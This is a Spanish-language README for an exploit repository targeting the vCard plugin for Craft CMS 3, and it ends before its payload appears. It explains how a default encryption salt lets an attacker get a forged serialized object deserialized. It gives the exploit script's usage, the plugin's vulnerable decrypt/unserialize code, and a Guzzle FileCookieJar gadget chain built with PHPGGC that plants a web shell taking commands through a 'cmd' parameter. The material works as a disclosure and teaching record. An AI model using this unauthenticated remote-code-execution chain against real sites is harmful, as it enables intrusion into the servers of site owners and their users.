wguest/craftcms-vcard-exploitEste repositorio contiene detalles sobre una vulnerabilidad encontrada en el plugin "vCard" para CraftCMS 3.
Craft CMS tiene un plugin para descargar contactos en formato de archivo *.vcf llamado «vCard». El plugin se puede revisar en el repositorio de Craft y en Github: Craft Plugin Store Github
Este plugin toma un parámetro enviado por el cliente, descifra el valor con openssl_decrypt y luego pasa la cadena resultante a la función unserialize de PHP. Dado que la sal predeterminada para el cifrado está disponible en el repositorio, un atacante puede usar la misma lógica para cifrar un payload serializado malicioso.
Si el usuario tiene configurado un valor de «salt» modificado en los ajustes del plugin, entonces este deberá proporcionarse como parámetro al script de Python. Sin embargo, este valor permanecerá sin cambios si se descarga desde la tienda de plugins o simplemente clonando el repositorio. No hay opción de cambiarlo a través de la interfaz web de Craft.
Ejecute el script proporcionando el enlace vCard que activa la descarga del contacto. Elimine el valor del parámetro vcard.
El parámetro para el script sería entonces: "http://craftcms/index.php?p=actions/vcard/default/index&vcard="
$ ./exploit_vcard.py -u "http://craftcms/index.php?p=actions/vcard/default/index&vcard="
Deserialization has been triggered, navigate to craftCMS webroot/shell.php
Use GET parameter 'cmd' to execute commands
Example: http://craftcms/shell.php?cmd=ls%20-al;whoami;ip%20a
Hay un valor de sal opcional que se puede proporcionar. Todas las opciones se muestran aquí:
usage: exploit_vcard.py [-h] -u URL [-s SALT] [-f FNAME]
Unauthenticated RCE for CraftCMS vCard Plugin
optional arguments:
-h, --help show this help message and exit
-u URL The URL for the vCard download without the vCard value Example:
http://craftcms/index.php?p=actions/vcard/default/index&vcard=
-s SALT Security key required for encrypting payload. Defaul is
's34s4L7'
-f FNAME File path/name to use as value in upload path: ./<value> . Use a
PHP extension. Default value is 'shell.php'
El script de Python se probó en Python 3.6
El script ejecutará un comando PHP en el host del atacante para cifrar el payload. Por lo tanto, será necesario tener instalado php-cli. Este ataque se probó con PHP 7.2-cli y PHP 7.3-cli
Este es un fragmento de dónde el código deserializa de forma insegura (VCardService.php:297) Github:
public function decodeUrlParam($optionsString = "")
{
$optionsString = $this->decrypt($optionsString);
$options = unserialize($optionsString);
return $options;
}
El parámetro $optionsString es el valor del parámetro URL «vcard» proporcionado por el cliente. Se pasa a través de la función decrypt y luego se deserializa. Si el cliente puede replicar el cifrado, este código se vuelve vulnerable, ya que deserializa directamente datos proporcionados por el usuario.
Esta es la función de cifrado en cuestión (VCardService.php:306) Github:
protected function encrypt($string)
{
$key = VCard::$plugin->getSettings()->salt;
$key = md5( $key );
$iv = substr( md5( $key ), 0, 16);
return rtrim(
strtr(
base64_encode(
openssl_encrypt( $string, 'aes128', md5( $key ), true, $iv )
),
'+/', '-_'
), '='
);
}
El único valor que un atacante necesita conocer es la variable $key establecida por «VCard::$plugin->getSettings()->salt». El valor predeterminado se puede ver en el repositorio como «s34s4L7» (config.php:26) Github
Asumiendo que se utiliza la sal predeterminada, un atacante puede forzar la deserialización de cualquier clase en la instalación de Craft.
Necesitamos encontrar una clase «gadget» en la instalación predeterminada de Craft que podamos usar con fines maliciosos. Revisar qué clases tienen funciones mágicas __destruct o __wakeup proporciona una lista lo suficientemente pequeña para analizar. Esto se puede hacer usando "grep -rni < path to web root > -e '__destruct'"
guzzlehttp tiene una clase llamada «FileCookieJar» que parece guardar un archivo usando un atributo de clase como nombre de archivo:
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php:38: public function __destruct()
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-39- {
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-40- $this->save($this->filename);
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-41- }
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-42-
Al investigar la función save se observa que escribirá datos en una ruta del sistema; tanto la ruta como los datos son atributos de clase y están bajo el control del atacante. Tiene sentido que, cuando se destruye este objeto de clase, escriba las cookies que tuviera en el atributo de nombre de archivo para recuperarlas o usarlas más tarde. Este es el contenido de la función save, siendo file_put_contents nuestro objetivo (FileCookieJar.php:52) Github:
public function save($filename)
{
$json = [];
foreach ($this as $cookie) {
/** @var SetCookie $cookie */
if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) {
$json[] = $cookie->toArray();
}
}
$jsonStr = \GuzzleHttp\json_encode($json);
if (false === file_put_contents($filename, $jsonStr, LOCK_EX)) {
throw new \RuntimeException("Unable to save file {$filename}");
}
}
Afortunadamente, no tenemos que hacer el trabajo manual para construir el payload malicioso nosotros mismos. La maravillosa herramienta PHPGGC automatiza la serialización de una clase Guzzle con un payload para que la usemos en este exploit.
Utilicé la herramienta para crear esto como payload base para el script del exploit, aunque se modificará ligeramente según el nombre de archivo. Además, es importante tener en cuenta que, si se genera un nuevo payload con PHPGGC, el parámetro «-f» debe usarse o la función mágica __destruct no se ejecutará: